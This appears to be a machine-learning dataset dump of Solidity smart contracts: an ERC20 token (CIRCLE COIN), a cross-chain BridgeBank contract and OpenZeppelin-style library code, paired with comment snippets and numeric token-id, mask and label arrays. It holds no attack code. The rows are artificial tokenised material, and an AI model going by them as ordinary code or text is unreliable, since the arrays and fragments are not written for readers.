pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'CIRCLE COIN' token contract // // Deployed to : 0xFe347DDC005B9FB002c6A87aF1393d3298555a56 // Symbol : XCC // Name : CIRCLE COIN // Total supply: 100000000 // Decimals : 16 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract CIRCLECOIN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function CIRCLECOIN() public { symbol = "XCC"; name = "CIRCLE COIN"; decimals = 16; _totalSupply = 1000000000000000000000000; balances[0xFe347DDC005B9FB002c6A87aF1393d3298555a56] = _totalSupply; Transfer(address(0), 0xFe347DDC005B9FB002c6A87aF1393d3298555a56, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
contract CIRCLECOIN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function CIRCLECOIN() public { symbol = "XCC"; name = "CIRCLE COIN"; decimals = 16; _totalSupply = 1000000000000000000000000; balances[0xFe347DDC005B9FB002c6A87aF1393d3298555a56] = _totalSupply; Transfer(address(0), 0xFe347DDC005B9FB002c6A87aF1393d3298555a56, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
10,371,089
[ 1, 5802, 7620, 4232, 39, 3462, 3155, 16, 598, 326, 2719, 434, 3273, 16, 508, 471, 15105, 471, 1551, 25444, 1147, 29375, 8879, 13849, 8879, 17082, 11417, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 385, 7937, 23181, 3865, 706, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 16, 14060, 10477, 288, 203, 565, 533, 1071, 3273, 31, 203, 565, 533, 1071, 225, 508, 31, 203, 565, 2254, 28, 1071, 15105, 31, 203, 565, 2254, 1071, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 565, 445, 385, 7937, 23181, 3865, 706, 1435, 1071, 288, 203, 3639, 3273, 273, 315, 60, 6743, 14432, 203, 3639, 508, 273, 315, 7266, 11529, 900, 385, 6266, 14432, 203, 3639, 15105, 273, 2872, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 2130, 12648, 12648, 9449, 31, 203, 3639, 324, 26488, 63, 20, 92, 2954, 5026, 27, 40, 5528, 28564, 38, 29, 22201, 24908, 71, 26, 37, 11035, 69, 42, 3437, 11180, 72, 1578, 10689, 2539, 25, 69, 4313, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 12279, 12, 2867, 12, 20, 3631, 374, 92, 2954, 5026, 27, 40, 5528, 28564, 38, 29, 22201, 24908, 71, 26, 37, 11035, 69, 42, 3437, 11180, 72, 1578, 10689, 2539, 25, 69, 4313, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 5381, 1135, 261, 11890, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 225, 300, 324, 26488, 63, 2867, 12, 20, 13, 15533, 203, 565, 289, 203, 203, 203, 565, 445, 11013, 951, 12, 2867, 1147, 5541, 13, 2 ]
pragma solidity ^0.5.0; import "./GoAssetBank.sol"; import "./EvmAssetBank.sol"; import "../Oracle.sol"; import "../GoAssetBridge.sol"; /** * @title BridgeBank * @dev Bank contract which coordinates asset-related functionality. * GoAssetBank manages the minting and burning of tokens which * represent go contract issued assets, while EvmAssetBank manages * the locking and unlocking of Chain33 and ERC20 token assets * based on Chain33. **/ contract BridgeBank is GoAssetBank, EvmAssetBank { using SafeMath for uint256; address public operator; Oracle public oracle; GoAssetBridge public goAssetBridge; /* * @dev: Constructor, sets operator */ constructor ( address _operatorAddress, address _oracleAddress, address _goAssetBridgeAddress ) public { operator = _operatorAddress; oracle = Oracle(_oracleAddress); goAssetBridge = GoAssetBridge(_goAssetBridgeAddress); } /* * @dev: Modifier to restrict access to operator */ modifier onlyOperator() { require( msg.sender == operator, 'Must be BridgeBank operator.' ); _; } /* * @dev: Modifier to restrict access to Offline */ modifier onlyOffline() { require( msg.sender == offlineSave, 'Must be onlyOffline.' ); _; } /* * @dev: Modifier to restrict access to the oracle */ modifier onlyOracle() { require( msg.sender == address(oracle), "Access restricted to the oracle" ); _; } /* * @dev: Modifier to restrict access to the goAsset bridge */ modifier onlyGoAssetBridge() { require( msg.sender == address(goAssetBridge), "Access restricted to the goAsset bridge" ); _; } /* * @dev: Modifier to make sure this symbol not created now */ modifier onlyBridgeToken(address _token) { require( (address(0) != _token) && (msg.value == 0), "Only bridge token could be locked and tranfer to contract:evmxgo" ); _; } /* * @dev: Fallback function allows operator to send funds to the bank directly * This feature is used for testing and is available at the operator's own risk. */ function() external payable onlyOffline {} /* * @dev: Creates a new BridgeToken * * @param _symbol: The new BridgeToken's symbol * @return: The new BridgeToken contract's address */ function createNewBridgeToken( string memory _symbol ) public onlyOperator returns(address) { return deployNewBridgeToken(_symbol); } /* * @dev: Mints new BankTokens * * @param _goAssetSender: The goAsset sender's address. * @param _chain33Recipient: The intended recipient's Chain33 address. * @param _bridgeTokenAddress: The bridge token address * @param _symbol: goAsset token symbol * @param _amount: number of goAsset tokens to be minted */ function mintBridgeTokens( address _goAssetSender, address payable _intendedRecipient, address _bridgeTokenAddress, string memory _symbol, uint256 _amount ) public onlyGoAssetBridge { return mintNewBridgeTokens( _goAssetSender, _intendedRecipient, _bridgeTokenAddress, _symbol, _amount ); } /* * @dev: Burns bank tokens * * @param _goAssetReceiver: The _goAsset receiver address in bytes. * @param _goAssetTokenAddress: The currency type * @param _amount: number of goAsset tokens to be burned */ function burnBridgeTokens(address _goAssetReceiver, address _goAssetTokenAddress, uint256 _amount) public { return burnGoAssetTokens( msg.sender, _goAssetReceiver, _goAssetTokenAddress, _amount ); } /* * @dev: addToken2LockList used to add token with the specified address to be * allowed locked from GoAsset * * @param _token: token contract address * @param _symbol: token symbol */ function addToken2LockList( address _token, string memory _symbol ) public onlyOperator { addToken2AllowLock(_token, _symbol); } /* * @dev: configTokenOfflineSave used to config threshold to trigger tranfer token to offline account * when the balance of locked token reaches * * @param _token: token contract address * @param _symbol:token symbol,just used for double check that token address and symbol is consistent * @param _threshold: _threshold to trigger transfer * @param _percents: amount to transfer per percents of threshold */ function configLockedTokenOfflineSave( address _token, string memory _symbol, uint256 _threshold, uint8 _percents ) public onlyOperator { if (address(0) != _token) { require(keccak256(bytes(BridgeToken(_token).symbol())) == keccak256(bytes(_symbol)), "token address and symbol is not consistent"); } else { require(keccak256(bytes("BTY")) == keccak256(bytes(_symbol)), "token address and symbol is not consistent"); } configOfflineSave4Lock(_token, _symbol, _threshold, _percents); } /* * @dev: configOfflineSaveAccount used to config offline account to receive token * when the balance of locked token reaches threshold * * @param _offlineSave: receiver address */ function configOfflineSaveAccount(address payable _offlineSave) public onlyOperator { offlineSave = _offlineSave; } /* * @dev: Locks received Chain33 funds. * * @param _recipient: bytes representation of destination address. * @param _token: token address in origin chain (0x0 if chain33) * @param _amount: value of deposit */ function lock( address _recipient, address _token, uint256 _amount ) public availableNonce() onlyBridgeToken(_token) payable { string memory symbol; require( BridgeToken(_token).transferFrom(msg.sender, address(this), _amount), "Contract token allowances insufficient to complete this lock request" ); // Set symbol to the ERC20 token's symbol symbol = BridgeToken(_token).symbol(); require( tokenAllow2Lock[keccak256(abi.encodePacked(symbol))] == _token, 'The token is not allowed to be locked from Chain33.' ); lockFunds( msg.sender, _recipient, _token, symbol, _amount ); } /* * @dev: Unlocks Chain33 and ERC20 tokens held on the contract. * * @param _recipient: recipient's Chain33 address * @param _token: token contract address * @param _symbol: token symbol * @param _amount: wei amount or ERC20 token count \ */ function unlock( address payable _recipient, address _token, string memory _symbol, uint256 _amount ) public onlyGoAssetBridge hasLockedFunds( _token, _amount ) canDeliver( _token, _amount ) { unlockFunds( _recipient, _token, _symbol, _amount ); } /* * @dev: Exposes an item's current status. * * @param _id: The item in question. * @return: Boolean indicating the lock status. */ function getGoAssetDepositStatus( bytes32 _id ) public view returns(bool) { return isLockedGoAssetDeposit(_id); } /* * @dev: Allows access to a GoAsset deposit's information via its unique identifier. * * @param _id: The deposit to be viewed. * @return: Original sender's Chain33 address. * @return: Intended GoAsset recipient's address in bytes. * @return: The lock deposit's currency, denoted by a token address. * @return: The amount locked in the deposit. * @return: The deposit's unique nonce. */ function viewGoAssetDeposit( bytes32 _id ) public view returns(address, address payable, address, uint256) { return getGoAssetDeposit(_id); } }
@dev: Constructor, sets operator/
{ operator = _operatorAddress; oracle = Oracle(_oracleAddress); goAssetBridge = GoAssetBridge(_goAssetBridgeAddress); }
12,900,001
[ 1, 30, 11417, 16, 1678, 3726, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 3726, 273, 389, 9497, 1887, 31, 203, 3639, 20865, 273, 28544, 24899, 280, 16066, 1887, 1769, 203, 3639, 1960, 6672, 13691, 273, 4220, 6672, 13691, 24899, 3240, 6672, 13691, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/8453/0x266c8f8cdA4360506b8D32Dc5C4102350a069aCD/sources/project_/contracts/Max-20-UUPS-LZ.sol
@dev Returns the admin role that controls a role @param role: Role to check @return admin role
function getRoleAdmin( bytes4 role ) external view returns (bytes4) { return ADMIN; }
11,561,662
[ 1, 1356, 326, 3981, 2478, 716, 11022, 279, 2478, 225, 2478, 30, 6204, 358, 866, 327, 3981, 2478, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 15673, 4446, 12, 203, 565, 1731, 24, 2478, 203, 225, 262, 3903, 203, 565, 1476, 7010, 565, 1135, 261, 3890, 24, 13, 288, 203, 565, 327, 25969, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-06-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, 